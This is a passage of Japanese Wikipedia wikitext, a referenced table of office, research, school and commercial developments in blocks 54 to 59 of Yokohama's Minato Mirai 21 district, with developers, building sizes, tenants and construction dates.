(オフィス・商業等複合、事業者:清水建設)<br />(建物の規模:地上19階、高さ99.5m<ref>[http://taccolinmm.livedoor.blog/archives/2283539.html 少し階数が増えたー54街区 清水建設計画](みなとみらい線周辺散歩日記 2016年12月25日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20161228195415/http://blogs.yahoo.co.jp/taccolin/68358872.html 2016年12月28日時点のアーカイブ])</ref>/延床面積約102,000m{{sup|2}}<ref name="decn170802">[http://www.decn.co.jp/?p=93169 清水建設/MM21-54街区複合ビル建設(横浜市西区)に着工/投資開発事業の一環](日刊建設工業新聞 2017年8月2日5面)</ref>)
* 清水建設が当地区において手がけた「[[横浜アイマークプレイス]]」に続く、大規模賃貸オフィスビル開発計画の第2弾に当たる。
* 国土交通大臣の民間都市再生事業計画に認定されている。
* ソニーシティみなとみらい:[[ソニー]]の[[カメラ]]事業([[映像機器]])が当ビル1棟を借り、事業所の集約<ref group="注">[[ソニーグループ]]でカメラ事業などを手掛けていた[[ソニーイメージングプロダクツ&ソリューションズ]] (SIPS) は[[本社]]機能の移転も計画していたが、同社は2021年4月1日付でグループ他社と統合して消滅し、新たなソニー株式会社となった。</ref>および研究開発拠点の設置を計画(2020年12月開所<ref>[https://shinonome-ri.com/archives/3546 ソニーシティみなとみらい誕生! 開所式前の様子をいち早く目撃](東雲総合研究所 2020年12月6日)</ref>、移転完了に伴い2021年3月事業開始<ref name="yokohama-kigyorichi201217">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2020/1217100345592.html 企業立地促進条例に基づき2件の事業計画を認定]:{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2020/1217100345592.files/0003_20201216.pdf 横浜市記者発表資料]〈[https://web.archive.org/web/20220407151311/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2020/1217100345592.files/0003_20201216.pdf アーカイブ]〉}}(横浜市経済局企業誘致・立地課 令和2年 {{small|(2020年)}} 12月17日/[https://prtimes.jp/main/html/rd/p/000000129.000032297.html PR TIMES版])</ref><ref>[https://www.nikkei.com/article/DGXZQOFB171OQ0X11C20A2000000/ 横浜市、立地促進支援でソニーとケン・コーポを認定](日本経済新聞 2020年12月18日)</ref>)。従業員数は3,000〜4,000人規模を想定<ref name="kanagawa181122">[http://www.pref.kanagawa.jp/docs/pw3/prs/r3557567.html 県外・国外から「企業誘致100件」の目標達成! ―県は企業誘致促進補助金や税制措置などで企業立地を支援―]:{{PDFlink|[http://www.pref.kanagawa.jp/documents/40688/20181122shiryo1.pdf <参考資料1> 認定企業及び事業計画の内容]}}(神奈川県記者発表資料 2018年11月22日)</ref><ref name="nikkei181122">[https://www.nikkei.com/article/DGXMZO38091780S8A121C1X20000/ ソニー、カメラ部隊を3000人集結 みなとみらいに](日本経済新聞 2018年11月22日)</ref><ref name="kanaloco181123">[https://www.kanaloco.jp/news/economy/entry-39506.html ソニー、みなとみらいに新拠点 20年稼働カメラ部門集約](神奈川新聞{{small|〈カナロコ〉}} 2018年11月23日)</ref><ref name="shinonome-ri1851-181126">[https://shinonome-ri.com/archives/1851 ソニーがみなとみらいに拠点を設置 カメラ部門を集約](東雲総合研究所 2018年11月26日作成、2018年12月2日更新、2018年12月26日閲覧)</ref>。
** 研究開発拠点ではカメラ事業<!--関連技術-->だけでなく、[[ディスプレイ]]製品([[プロジェクタ]]を含む)や[[医療|メディカル]]関連機器などの研究開発も進める<ref name="yokohama-kigyorichi201217"/><ref name="kanagawa181122"/><ref name="kanaloco181123"/><ref name="shinonome-ri1851-181126"/>。
;<建物のコンセプト・概要>
* オフィス空間は研究開発施設や[[ショールーム]]など様々なニーズに対応した造りとし、[[保育所|託児施設]]なども設ける。
* [[環境問題|環境]]対策 (eco) と[[事業継続計画|事業継続性]] (BCP) を融合した ecoBCP 機能の充実を図る。
** eco:全館[[LED照明]]や[[太陽光発電]]等を採用し、[[BEMS|エネルギー可視化システム]]を導入する。
** BCP:[[免震構造]]とする他、[[停電]]時に約72時間の電力を賄える非常用発電設備を導入する。
** これらの性能により、[[CASBEE]]横浜のSランクや[[LEED]]ゴールド認証、WELL認証の取得を目指す<ref name="decn170802"/>。
* 非常時にはカンファレンススペースを開放して[[帰宅困難者]]の受け入れを行う他、災害備蓄品・情報の提供なども実施する。
* 低層部には[[会議|カンファレンス]]スペースを配置する他、オフィスワーカーや周辺地域にとって利便性の高い店舗を誘致。
* [[#キング軸|キング軸]]沿いに位置することから、敷地内には緑豊かた広場や賑わいを創出する。
* 横浜駅方面にアクセスする[[ペデストリアンデッキ|歩行者デッキ]]「[[みなとみらい歩道橋]]」と接続(さらに当ビルを経由した2階レベルのデッキは、南側の53街区複合開発や東側の52街区開発地とも接続する方針)。
{{small|(過去:2009年3月、観光バスターミナル54番館閉鎖)}}<br />{{small|(過去:街区の一部に積水ハウスの[[スマートハウス]]実証実験住宅「観環居」{{small|(かんかんきょ)}}<ref name="kankankyo-archive"/>が設置されていた(<!--2010年11月設置、-->2014年2月閉館))}}
|2017年8月着工<ref name="decn170802"/><br />2020年2月竣工<ref name="shimz-invest-topics48">[https://www.shimz.co.jp/invest/topics/topics48.html 投資開発事業トピックス:「横浜グランゲート」が竣工](清水建設 2020年4月10日)</ref><!--清水建設が3月末に竣工を発表、三鬼商事の情報によると建物本体は2月中に契約上満室で竣工とある。敷地内の工事は3月中に完了--><br />(同年4月開業)<!--<br />'''高さ制限300m'''<ref name="mm21-chikukeikaku"/><br />(所有:横浜市)-->
|-
|rowspan="2"|55街区<!--55・56街区では2013年7月より事業者の公募を開始<ref name="koubo2013-0321">{{PDFlink|[http://www.city.yokohama.lg.jp/zaisei/toti/hoyutochi/mm21/img/130321kisyahappyou.pdf みなとみらい21地区55街区及び56街区における横浜市土地開発公社所有地の公募について]}}(横浜市財政局資産経営課 平成25年 {{small|(2013年)}} 3月21日)</ref>-->
|colspan="2"|(55-1) [[LGグループ]]の研究開発拠点「[[LG YOKOHAMA INNOVATION CENTER]]<!--旧仮称:LGグローバルR&Dセンター-->」および賃貸オフィス複合ビル<ref name="zaiseikyoku161222">{{PDFlink|[https://web.archive.org/web/20210904160320/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2016/20161222-044-24600.files/phps5OhRx.pdf みなとみらい 21 地区 55-1街区の事業予定者を決定しました]}}(横浜市財政局資産経営課、横浜市都市整備局みなとみらい21推進課 平成28年 {{small|(2016年)}} 12月22日)</ref><ref name="decn161226">[http://www.decn.co.jp/?p=80817 横浜市/MM21地区55-1街区開発/事業予定者にLGエレクトロニクスら2社](日刊建設工業新聞 2016年12月26日5面)</ref><ref name="nikkei161223">[http://www.nikkei.com/article/DGXLASFB22HFH_S6A221C1L82000/ 研究開発拠点、MMに LGエレクトロニクス・ジャパン](日本経済新聞 2016年12月23日)</ref><ref name="kanaloco161223">[https://www.kanaloco.jp/news/government/entry-6080.html 韓国総合家電メーカーLG、MM21地区に進出](神奈川新聞{{small|〈カナロコ〉}} 2016年12月23日)</ref><ref>[http://building-pc.cocolog-nifty.com/helicopter/2016/12/28-a26d.html 横浜みなとみらい21地区 「55-1街区」の事業予定者が決定 「LGエレクトロニクス・ジャパン」が、地上18階、高さ約92mの研究所・賃貸オフィスなどの複合施設を建設!](東京・大阪 都心上空ヘリコプター遊覧飛行 2016年12月26日)</ref><br />〈LG Global R&D Center 建設プロジェクト{{small|(仮称)}}〉<br />(設計・施工:大林組)<br />(建物の規模:地上16階・地下2階・塔屋1階、高さ約90m<!--当初:地上18階、高さ92.1m-->)<!--現地「建築計画のお知らせ」看板(2019年3月18日設置、同月26日時点)より--><br />
: 事業主体は[[LGエレクトロニクス・ジャパン]](構成企業としてLGホールディングス・ジャパンも名を連ねている)。「LG YOKOHAMA INNOVATION CENTER」(LG横浜イノベーションセンター、略称: LG YIC)<!--旧仮称:LGグローバルR&Dセンター--> <ref>[https://www.lgjlab.com/company/future.html 未来準備「日本の研究拠点の拡大」](LG Japan Lab株式会社)</ref><ref name="lgyic">[https://www.lgyic.com/ LG YOKOHAMA INNOVATION CENTER](公式サイト)</ref>として、LGグループの研究部門を集約(2022年2月に[[LG Japan Lab]]が[[品川シーサイド駅|品川シーサイド]]〈グラスキューブ品川〉より本社を移転<ref>[https://www.lgjlab.com/company/message.html LG Japan Lab:代表Message](同社公式サイト内)</ref>)する他、賃貸オフィスエリアにはグループの事業と親和性の高い企業の誘致を目指す<ref name="zaiseikyoku161222"/>。
:* 地下:駐車場と研究所を配置<ref name="kensetsunews190604">[https://www.kensetsunews.com/archives/327328 グローバルR&Dセンター着工/国内・世界への発信拠点/LGジャパン](建設通信新聞Digital 2019年6月4日4面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20190619050553/https://www.kensetsunews.com/archives/327328 2019年6月19日時点のアーカイブ])</ref>。
:* 低層部(にぎわい施設<ref name="kensetsunews190604"/>)
:** 1階:エンターテインメント・体験型施設「YUMESAKI GALLERY」(ユメサキギャラリー)を設置(2022年3月オープン)<ref name="yumesaki-g">[https://yumesaki-g.com/ YUMESAKI GALLERY](公式サイト)</ref><ref name="nikkei161223"/>
:** 2階:複合コミュニケーション施設「EBC<!--Executive Briefing Center--> Hall」、[[オープンイノベーション]]ルーム、デジタル工房を設置<ref name="zaiseikyoku161222"/>
:* 中層部(3-9階):LGグループの研究室・実験室を配置<ref name="kensetsunews190604"/><ref name="zaiseikyoku161222"/>
:* 高層部(10-15階):賃貸オフィスエリア(事務所)を配置<ref name="kensetsunews190604"/><ref name="zaiseikyoku161222"/><!--現地「建築計画のお知らせ」看板(2019年3月18日設置、同月26日時点)より、地上16階となったことから高層階の上限を17階から16階に修正(16階は設備施設)-->
|2019年6月着工<ref name="kensetsunews190604"/><br />2021年11月竣工<ref name="kensetsunews190604"/><!--現地「建築計画のお知らせ」看板(2019年3月18日設置、同月26日時点)より--><br />(2022年2月開業<ref name="yw201902">『[[横浜ウォーカー]]』2019年2月号([[KADOKAWA]]), 巻頭特集「5年で横浜・神奈川エリアはこう変わる! 近未来予想図」(p.11)/[https://www.walkerplus.com/trend/matome/article/178145/ 2021年以降オープンの新施設まとめ](ウォーカープラス/横浜ウォーカー編集部 2019年2月16日)</ref>)<br />{{refnest|group="注"|当初:2018年10月着工予定、2021年4月開業予定<ref name="zaiseikyoku161222"/>。}}
|-
|colspan="2"|(55-2) [[学校法人みなとみらい学園|みなとみらい学園 横浜歯科医療専門学校]](旧:鶴見歯科学園)校舎<!--(横浜歯科技術専門学校ビル{{small|(仮称)}})--><br />(設計・施工:大林組)
* 2016年9月に学科を移転集約。建物内には[[歯科]][[診療所]]や[[ギャラリー (美術)|ギャラリー]]、カフェ、商業店舗などを併設している<ref name="yokohama-mm55-2-140327"/><ref name="kentsu140328"/>。
|2015年6月着工<ref>[http://www.kentsu.co.jp/webnews/html_top/150302400036.html MM21 鶴見歯科学園新校舎 大林で6月](建通新聞{{small|〈電子版〉}} 2015年3月2日/神奈川)</ref><br />2016年8月竣工<ref name="yokohama-mm55-2-140327"/>
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|rowspan="2"|56街区
|colspan="2"|(56-1) [[京急グループ本社]]<ref name="city-yokohama160328"/><ref name="keikyu160328"/><ref>[http://hamarepo.com/story.php?story_id=5141 京急本社がみなとみらいに移転、詳細は?](はまれぽ.com 2016年3月30日)</ref><br />(建物の規模:地上18階・地下1階、高さ85.55m)<!--現地「建築計画のお知らせ」看板より(2019年3月26日時点)-->
* [[京浜急行電鉄]]などグループ企業11社{{small|(社員数約1,200人)}}を移転集約、2019年9月17日より順次移転し10月<!--28日-->に移転完了<ref>[https://tetsudo-ch.com/7487252.html 京急本社機能がいよいよ横浜へ 「京急グループ本社」へ11社が移転開始](鉄道チャンネル 2019年5月20日)</ref>。
: (なお、現在の京急電鉄本社ビル{{small|([[東京都]][[港区 (東京都)|港区]][[高輪]])}}の敷地は再開発用地としての利用を検討している)
* 1階にはにぎわい施設として、[[昭和]]初期に使われていた保存車両([[湘南電気鉄道デ1形電車|デハ230形]])などを展示する「[[京急ミュージアム]]」を2020年1月に開設<ref name="newswitch190709">[https://newswitch.jp/p/18356 昭和に活躍「デハ230形」、京急本社へ搬入]([[日刊工業新聞]]{{small|〈ニュースイッチ〉}} 2019年7月9日<!--日刊工業新聞の元記事の配信日付、ニュースイッチ掲載は翌7月10日-->)</ref>。
* 防災機能として災害時に自社・他社線の運行情報を提供する他、従業員・帰宅困難者向けの災害備蓄品などを常備{{small|(災害時の一時滞在も可能とする)}}。
* 横浜駅方面にアクセスする歩行者デッキ「[[みなとみらい歩道橋]]」と接続。
|2017年7月着工<br />2019年9月竣工<!--<ref>[http://www.tokyo-np.co.jp/article/kanagawa/list/201810/CK2018101802000152.html 免震・制振不正問題 京急新本社にもKYBダンパー](東京新聞 2018年10月18日)</ref>--><!--現地「建築計画のお知らせ」看板より(2019年3月26日時点)--><!--<br />(所有:横浜市)-->
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|colspan="2"|(56-2) [[資生堂グローバルイノベーションセンター]]:S/PARK (エスパーク)<ref name="sankei150326"/><ref name="kanaloco150327"/><ref name="zaiseikyoku150326"/><ref name="shiseido-spark">[https://spark.shiseido.co.jp/ 資生堂 S/PARK](公式サイト)</ref><br />([[資生堂]]の研究開発拠点)<br />(建物の規模:地上16階・地下1階<ref name="kensetsunews160413"/><ref name="shiseidogroup161024">[https://www.shiseidogroup.jp/news/detail.html?n=00000000002051 資生堂、横浜・みなとみらい21地区で、新研究所「グローバルイノベーションセンター」起工式を実施](株式会社資生堂:ニュースリリース 2016年10月24日)</ref>、高さ約78m<!--https://www.ymm21.jp/database/detail/post-36.html--><!--着工時プレスリリース:76.91m<ref name="shiseidogroup161024"/>-->)
* 研究開発拠点の正式名称を「資生堂グローバルイノベーションセンター (GIC)」、呼称<!--通称-->を「S/PARK (エスパーク)」としている<ref name="shiseido-spark"/><ref name="e-expo181107">[http://news.e-expo.net/release/2018/11/post-114.html 2019年4月横浜にオープンする美の複合体験施設について/資生堂](健康美容EXPOニュース 2018年11月7日)</ref><ref name="wwdjapan181107">[https://www.wwdjapan.com/articles/735177 資生堂グローバルイノベーションセンターが本格稼働 2019年4月から一般来場可能に](WWD JAPAN 2018年11月7日)</ref>。
* 2018年12月より順次稼働し、2019年4月には建物全体が全面開業(本格稼働)している<ref name="kensetsunews160413"/><ref name="syogyo-news190417">[https://www.syogyo.jp/news/2019/04/post_024002 資生堂、新研究開発拠点「S/PARK」を本格稼働](粧業日報 2019年4月17日号、同日配信)</ref>。
* 横浜市[[都筑区]]の研究所「リサーチセンター」を全面移転<ref name="sankei150326"/>。
* [[基礎研究|基礎・基盤研究]]を行うハブ拠点として1,000人規模の研究者が働くことを想定しており、世界最大規模の化粧品研究施設となる見込み<ref name="kanaloco150327"/>。
* 「ハブ&スポーク体制」により海外の研究所ともつながる他、「都市型オープンラボ」として国内外の最先端研究機関や異業種などからの多様な知見・情報・技術を融合<ref name="shiseido-spark"/><ref name="e-expo181107"/><ref name="wwdjapan181107"/>。
* ここを拠点として、将来的には[[電機メーカー]]との美容家電共同開発なども視野に入れている<ref name="sankei150326"/>。
; <フロア構成>
* 5-15階が研究フロアとなる<ref name="hamarepo190412">[https://hamarepo.com/story.php?story_id=7179 横浜みなとみらいにできた「資生堂」の研究所ってどんな所?](はまれぽ.com 2019年4月12日)</ref>。
* また、3階に多用途ホール「S/PARK Hall」、4階に商談スペース「Collaboration Site」、11階にマンションの部屋を再現した試験室「Living Lab」などを配置<ref name="hamarepo190412"/>。
* 1・2階は地域に開かれた「コミュニケーションエリア」(にぎわい施設、コンセプト「美のひらめきと出会う場所」、2019年4月13日開業)となる<ref name="shiseido-spark"/><ref name="shiseidogroup161024"/><ref name="e-expo181107"/><ref name="wwdjapan181107"/><ref name="syogyo-news190417"/><ref name="hamarepo190412"/>。
** 1階にはオリジナルの化粧品を作ったり様々な化粧品を試すことができる「S/PARK Beauty Bar」や食と美の研究から生まれたメニューを提供する「S/PARK Cafe」、資生堂ランニングクラブの知見を生かし美を作るプログラムを体験できるスポーツ施設「S/PARK Studio」が設置される。
** 2階には展示スペース・ライブラリ等のミュージアム空間「S/PARK Museum」が設置される。
|2016年10月着工<ref name="shiseidogroup161024"/><br />2018年10月竣工<ref name="shiseido-spark"/><ref name="e-expo181107"/><ref name="wwdjapan181107"/><br />(2019年4月全面開業<ref name="syogyo-news190417"/>)
|-
|rowspan="2"|57街区
|colspan="2"|(''北側一部区画'')[[横浜市立みなとみらい本町小学校]]<ref name="minatomiraihoncho-shogako"/><ref name="hamarepo3253"/><ref name="msn20140830"/><ref name="kanaloco140829"/><ref name="kanaloco160220"/><br />(設計:[[みかんぐみ]]<ref>[http://www.kentsu.co.jp/webnews/html_top/150129400041.html 横浜市 本町小第二方面校の設計みかんぐみ](建通新聞{{small|〈電子版〉}} 2015年2月3日/神奈川)</ref>)<br />(敷地面積:約9,000m{{sup|2}})
* [[横浜市立本町小学校]]の分離新設校(第二方面校)であり、割り当てられる[[学区]]は当地区の他に[[北仲通地区]]が含まれる<ref name="kanaloco160220"/>。
{{small|(過去:かつて[[キヤノン・キャッツ・シアター]]があり、[[劇団四季]]の「[[キャッツ (ミュージカル)|キャッツ]]」を2009年11月より3年間上演していた)}}<br />{{small|(過去:開発前暫定施設として2015年には「[http://yokohama-midbase.jp/ 横浜MIDベース タワーレジデンス]」のモデルルーム・住宅展示場が置かれた)}}
|2018年4月開校<br />''暫定施設'' {{small|(10年間限定開校)}}<br />(所有:横浜市)
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|colspan="2"|'''事業者公募街区'''(上記、小学校新設予定地外約4,000m{{sup|2}})
|所有:横浜市
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|58街区
|colspan="2"|[[横濱ゲートタワー]]<!--プロジェクト([[鹿島建設]]の複合オフィスビル計画)--><ref name="city-yokohama171020">{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2017/20171020-044-26316.files/phpVKaFOf.pdf みなとみらい 21 地区 58 街区の事業予定者を決定しました]〈[https://web.archive.org/web/20211030031045/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2017/20171020-044-26316.files/phpVKaFOf.pdf アーカイブ]〉}}(横浜市財政局資産経営課、横浜市都市整備局みなとみらい21推進課 平成29年 {{small|(2017年)}} 10月20日)</ref><ref name="built190404">[https://www.itmedia.co.jp/smartjapan/articles/1904/04/news037.html 鹿島らのプラネタリウムを併設した高層オフィスビル「横濱ゲートタワー」、横浜MM21で始動]([[ITmedia|BUILT]] 2019年4月4日)</ref>
<!--(敷地面積:約9,308m{{sup|2}})-->
[[鹿島建設]](代表企業)、[[三井住友海上火災保険]]、[[住友生命保険]]によるオフィス、商業、にぎわい施設等の複合ビル開発計画<ref name="city-yokohama171020"/>。<br />
(建物の規模:地上22階・地下1階、高さ109.56m<!--現地「開発事業のお知らせ」案内板より(2019年9月13日時点)、※2019年4月に地上21階・地下1階、高さ112mより計画変更-->)
* 低層部(1-4階):商業・にぎわい施設・オフィスサポート施設等
** 1・2階<!--2階にコンビニ出店-->に飲食・物販店舗、2階に[[プラネタリウム]]やデジタルプラネットカフェを配置する他、保育所、[[診療所|クリニック]]モール、[[インキュベートオフィス]]、[[会議|カンファレンス]]施設などが入る<ref name="city-yokohama171020"/><ref name="built190404"/>(一部テナントは2021年10月より順次オープン)。
** プラネタリウム「[[コニカミノルタプラネタリアYOKOHAMA]]」(運営:[[コニカミノルタプラネタリウム]]<!--直営5館目-->)は、一般的な[[スクリーン]]投影方式ではなく日本では[[名古屋市|名古屋]](2021年10月開業)に続いて2例目となる「[[発光ダイオード|LED]]ドームシステム」を採用<ref>[https://www.nikkei.com/article/DGXZQOFB0529R0V00C21A3000000/ コニカミノルタ、横浜にLEDプラネタリウム 22年開業](日本経済新聞 2021年3月5日)</ref><ref>[https://www.konicaminolta.com/jp-ja/newsroom/2021/0304-01-01.html 日本初のLEDドームシステムによるプラネタリウムドームシアターを名古屋と横浜に開設](コニカミノルタ株式会社:ニュースリリース 2021年3月4日)</ref>。客席数は約170席で2022年3月開業<ref name="konicaminolta210901">[https://www.konicaminolta.com/jp-ja/newsroom/2021/0901-01-01.html 「コニカミノルタプラネタリアYOKOHAMA」に名称決定 建設中の「横濱ゲートタワー」に2022年3月開設予定]([[コニカミノルタ]]株式会社:ニュースリリース 2021年9月1日)</ref>。デジタルプラネットカフェ「Cafe Planetaria」やギフトショップ「Gallery Planetaria」も併設<ref name="konicaminolta210901"/>。
** クリニックモールは4階に配置し<ref name="hamakei210430"/>、[[健康診断|健診]]・[[人間ドック]]や[[内科]]、[[婦人科]]などが入る(2022年1月より順次オープン)<ref>[https://www.dtod.ne.jp/kaigyo-topics/kaigyo/interview000004704.html みなみみらい21地区58街区「横濱ゲートタワー」]〈[https://web.archive.org/web/20210523224653/https://www.dtod.ne.jp/kaigyo-topics/bukken300002434.html アーカイブ]〉(DtoDコンシェルジュ/[[総合メディカル]])</ref>。
* 高層部(5-21階<!--22階?-->):オフィスエリア(三井住友海上火災保険が自社利用する他は賃貸とする方針)<ref name="city-yokohama171020"/>
** [[いすゞ自動車]]が2022年5月に本社を移転<ref name="nikkei220509">[https://www.nikkei.com/article/DGXZQOUC098SF0Z00C22A5000000/ いすゞ、横浜に本社移転 創業の地の大森から](日本経済新聞 2022年5月9日)</ref>(5〜15階部分の11フロア/<!--本社勤務約1,000人に-->後述の関連会社<!--の社員ら-->も含めて約2,500人就業)<ref name="city-yokohama191224">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2019/1224keizai_yuchi.html いすゞ自動車株式会社 横浜・みなとみらい21地区に本社移転を決定!]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2019/1224keizai_yuchi.files/20191224_yuchi_yokohama.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20220407151327/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2019/1224keizai_yuchi.files/20191224_yuchi_yokohama.pdf アーカイブ]〉}}(横浜市経済局 令和元年 {{small|(2019年)}} 12月24日)</ref><ref name="nikkei191224">[https://www.nikkei.com/article/DGXMZO53742470U9A221C1L82000/ いすゞ自動車、横浜市に本社移転 MM21地区に22年](日本経済新聞 2019年12月24日)<!--※記事内で移転先は「横浜ゲートタワー」となっているが正確な表記は「横濱ゲートタワー」--></ref><ref name="asahi191224">[https://www.asahi.com/articles/ASMDS5G37MDSULFA02G.html いすゞ、本社をみなとみらいに 「創業の地」から移転](朝日新聞デジタル 2019年12月24日)</ref><ref name="hamakei210430"/><!--<ref>[https://www.hamakei.com/photoflash/5170/ フォトフラッシュ:京急本社やみなとみらい本町小学校に隣接する「横濱ゲートタワー」にいすゞ自動車本社が移転](ヨコハマ経済新聞 2020年8月22日)</ref>-->。また、本社機能の他に<!--現本社周辺の-->一部関連会社<!--(14の企業・団体)--><ref name="aba-j210907">[https://www.aba-j.or.jp/info/industry/15856/ いすゞ、22年「創業の地」から横浜に本社移転 次の100年へ心機一転](一般社団法人日本自動車会議所:自動車産業インフォメーション 2021年9月7日)</ref>なども移転している<ref name="city-yokohama191224"/><ref name="nikkei191224"/><ref name="asahi191224"/>。
** 三井住友海上火災保険が事務所を新設(地域本部・営業店などを集約)<ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2021/20210818161934233.html 企業立地促進条例に基づき2件の事業計画を認定]:{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2021/20210818161934233.files/0001_20210818.pdf 横浜市記者発表資料]〈[https://web.archive.org/web/20220407151312/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2021/20210818161934233.files/0001_20210818.pdf アーカイブ]〉}}(横浜市経済局企業誘致・立地課 令和3年 {{small|(2021年)}} 8月19日)</ref>。
** [[ピーシーデポコーポレーション]]が2022年2月に本社([[本店]])<!--(※同一市内移転のため[[定款]]上の本店所在地は変更しない)-->を移転<ref>{{PDF|[https://ssl4.eir-parts.net/doc/7618/tdnet/1953474/00.pdf 本店移転に関するお知らせ]}}(株式会社ピーシーデポコーポレーション 2021年4月13日)</ref>。また、子会社の[[イージェーワークス]]も同年1月末に本社を移転している<ref>[https://www.ejworks.com/news/detail.html?article_id=53 本社移転に関するお知らせ](株式会社イージェーワークス 2021年6月10日)</ref>。
* その他の特徴:災害時には[[帰宅困難者]]の一時待機スペースを確保し、地域の防災拠点として活用可能。環境分野では[[CASBEE]]横浜のSクラス取得を目指す<ref name="city-yokohama171020"/>。
* 当開発を手がける上記の3社と[[SDGs未来都市]]に選定されている横浜市が連携し、イノベーションの創出や[[持続可能な開発目標|SDGs]]達成などに向けて取り組む。その一環として、[[関内駅]]周辺<!--横浜市中区[[尾上町 (横浜市)|尾上町]]-->の横浜第一有楽ビルにある「[https://www.yokohama-sdgs.jp/ ヨコハマSDGsデザインセンター]」を当ビル内に2021年12月移設<ref name="kajima210714">[https://www.kajima.co.jp/news/press/202107/14a1-j.htm みなとみらい21中央地区58街区 横浜市と連携協定を締結 ―SDGs未来都市・横浜の実現に向け「横濱ゲートタワー」での新たな展開―]/{{PDF|[https://www.kajima.co.jp/news/press/202107/pdf/14a1-j.pdf PDF版]}}(鹿島建設株式会社、住友生命保険相互会社、三井住友海上火災保険株式会社 2021年7月14日)</ref><ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/ondan/2021/0714SDGs_press.html 【記者発表】鹿島建設株式会社、住友生命保険相互会社、三井住友海上火災保険株式会社と連携協定書を締結](横浜市温暖化対策統括本部SDGs未来都市推進課 令和3年 {{small|(2021年)}} 7月14日)</ref><ref>[https://ascii.jp/elem/000/004/063/4063379/ SDGs未来都市の実現に向けて 3社、横浜市との連携を発表「横濱ゲートタワープロジェクト」](ASCII FinTech, 2021年7月20日)</ref>。
* 当ビルのオフィス賃貸事業は、横浜市の企業立地促進条例に基づく事業計画に認定されている<ref name="hamakei210430">[https://www.hamakei.com/headline/11330/ 横浜市が「横濱ゲートタワープロジェクト」の事業計画を認定](ヨコハマ経済新聞 2021年4月30日)</ref>。
* キング軸の西端に位置しており、当ビルの南側2階レベルに整備されるデッキ「テラスモール」は、[[国道1号]](上部には[[首都高速神奈川1号横羽線|首都高速横羽線]]の[[高架橋|高架]])を超えて[[高島 (横浜市)#高島二丁目地区再開発事業|高島二丁目地区]]方面にアクセスする「高島二丁目歩道橋」とも接続される。
{{small|(過去:[[セガ]]が業績悪化を理由に開発中止を発表〈上記の55街区・56街区・57街区を含む4つの街区〉<ref name="it-media080328"/>)}}
|2019年4月着工<ref name="city-yokohama171020"/><ref name="built190404"/><br />2021年9月竣工<ref name="logi-today211027">[https://www.logi-today.com/462355 BSロジコム、横浜オフィスビルの館内物流一括受託](Logistics Today, 2021年10月27日)</ref><!--2021年秋頃竣工予定<ref name="built190404"/>--><br />(2022年3月グランドオープン<ref name="kajima210714"/><!--当初:2021年冬頃開業予定<ref name="built190404"/><ref name="hamakei210430"/>-->)
<!--2017年1月より横浜市が公募<ref name="ymm21-offering"/><ref name="city-yokohama170123">{{PDFlink|[https://web.archive.org/web/20210904160318/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2016/20170123-044-24727.files/phpARYiIU.pdf みなとみらい 21 地区58 街区及び 60・61・62 街区における開発事業者公募の開始について]}}(横浜市記者発表資料{{small|〈同市財政局ほか〉}} 平成29年 {{small|(2017年)}} 1月23日)</ref><ref>[https://www.ymm21.jp/news/offering/offering58.php みなとみらい21地区58街区開発事業者募集情報](みなとみらいエリアマネジメント公式サイト ''2017年1月29日閲覧'')</ref>-->
|-
|rowspan="2"|59街区
|colspan="2"|[[国土交通省]][[地方整備局#関東地方整備局|関東地方整備局]] 京浜港湾事務所<br />
(横浜市の要望により、2022年度に完成予定の[[#新港地区(1-17街区)|新港9街区]]合同庁舎内に移転予定<ref name="yokohama-chihogodochosya15"/><!--移転後の土地・建物利用方針未定-->)
|2007年2月開業
|-
|colspan="2"|[[オーケー]]本社ビル / [[PRYME COAST みなとみらい]](プライムコーストみなとみらい)<ref>[http://www.dfonline.jp/articles/-/7409 【オーケー】横浜・みなとみらい地区に本社移転、店舗も併設、15年夏](DFオンライン 2012年12月14日)</ref><ref>[http://building-pc.cocolog-nifty.com/helicopter/2014/05/post-b98e.html 横浜みなとみらい21地区 地上27階、高さ約99m「(仮称)MM59街区B区画開発計画」の建設予定地](東京・大阪 都心上空ヘリコプター遊覧飛行 2014年5月6日)</ref>
オーケー本社ビルおよび、岡田ビルによる複合高層ビル「PRYME COAST みなとみらい」(ホテル・集合住宅・商業店舗)の一体開発プロジェクト(オーケー、岡田ビル、大成建設横浜支店の3社による「オーアンドオーMM59グループ」が当街区の一体開発を行う)。<br />
('''A区画''')オーケー本社ビル:[[スーパーマーケット]]「オーケー<!-- (OK) -->ストア」を展開する同社が本社を移転<!--{{small|(2016年9月開業)}}-->。<br />(施工:大林組<ref>[http://www.kentsu.co.jp/webnews/html_top/140901400026.html MM21・59街区 オーケー本社ビルは大林](建通新聞{{small|〈電子版〉}} 2014年9月1日/神奈川)</ref>)<br />(地上11階、高さ約52m<ref name="mm-gaiku50-67">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21地区全体図] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/index50-67.html 街区開発状況 中央地区(50〜67街区)](都市整備局都心再生部横浜駅・みなとみらい推進課 ''2022年9月30日閲覧'')</ref>)
